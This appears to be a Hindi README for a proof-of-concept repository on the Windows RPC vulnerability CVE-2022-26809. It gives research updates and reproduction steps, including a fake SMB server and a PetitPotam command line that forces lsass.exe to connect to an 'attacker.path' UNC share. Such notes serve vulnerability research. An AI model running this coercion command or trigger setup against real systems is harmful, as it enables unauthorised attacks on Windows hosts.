
CVE-2022-26809 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो विंडोज RPC रनटाइम इंटीजर ओवरफ्लो कमजोरी है। इसमें lsass.exe के खिलाफ PetitPotam-शैली UNC पथ मजबूरी का उपयोग करने वाले ट्रिगर स्क्रिप्ट और शोषण परीक्षण के लिए एक नकली SMB सर्वर शामिल है।
यह रिपॉजिटरी सिर्फ CVE के लिए सरल शोध है, अधिक विस्तृत विश्लेषण के लिए कृपया यहाँ देखें।
अद्यतन: 05/19 2022
यह विश्लेषण अभी तक पूरा नहीं हुआ है....
अद्यतन: 05/22 2022
HuanGMz पोस्ट और corelight ब्लॉग वास्तविक कमजोर बिंदु दिखाते हैं:
OSF_CASSOCIATION::ProcessBindAckOrNak
यह कमजोरी CVE-2021-43893 की तरह ट्रिगर होती है, जब UNC पथ के साथ lsass.exe को ESFRPC अनुरोध भेजा जाता है, पीड़ित क्लाइंट के रूप में लक्ष्य तक पहुँचने का प्रयास करेगा, इसलिए यह क्लाइंट API पर पूर्णांक अतिप्रवाह (integer overflow) ट्रिगर करेगा।
यदि इस कमजोरी को ट्रिगर करने का कोई बेहतर समाधान है, तो बेझिझक issue या pr सबमिट करें :)
चूँकि यह कमजोरी CVE-2021-43893 की तरह ट्रिगर होती है, बस PetitPotam कोड को क्लोन करें।
बस यहाँ जैसा वातावरण तैयार करें:
fake_smb_server.py चलाएँ, rpcrt.py को मूल से बदलने के बाद (क्योंकि 445 पोर्ट Windows पर System द्वारा कब्जा कर लिया गया है, इसलिए सेवा को linux पर तैनात करने की सलाह दी जाती है)python petitpotam.py -pipe lsarpc -method DecryptFileSrv -debug "user:[email protected]" "\\attacker.path\realfile
lsass.exe के लिए पेज हीप सक्षम करें (हालांकि, मैंने BSoD को सफलतापूर्वक ट्रिगर नहीं किया है, लेकिन windbg के अनुसार, पूर्णांक अतिप्रवाह ट्रिगर हो गया है)पुराना विवरण
यहाँ Windows RPC कमजोरी CVE-2022-26809 के लिए पुनरुत्पादन कोड है, और यह https://github.com/microsoft/Windows-classic-samples/blob/main/Samples/Win7Samples/netds/rpc/hello को संदर्भित करता है।
मेरा python संस्करण 3.6.7 है
निश्चित नहीं हूँ कि GetCoalescedBuffer वास्तविक CVE-2022-26809 में शामिल होगा या नहीं, बस इसे रखा है
poc.py बस कमजोर फ़ंक्शन OSF_SCALL::GetCoalescedBuffer को ट्रिगर करने का प्रयास करता है, यह कोई क्रैश नहीं करेगा क्योंकि dword पूर्णांक अतिप्रवाह को पुनरुत्पादित करना बहुत कठिन है। और rpcrt.py python पैकेज impacket.dcerpc.v5.rpcrt है, इसे मूल से बदलकर कमजोरी ट्रिगर करें (मूल का बैकअप लेना न भूलें :) मेरा मानना है कि rpcrt.py में बहुत सारे बग हैं)।
यदि यह काम नहीं करता है, तो शायद wireshark बग का पता लगाने में मदद कर सकता है।
यदि आवश्यक हो, तो इसे पुनर्निर्माण करने के लिए बस nmake का उपयोग करें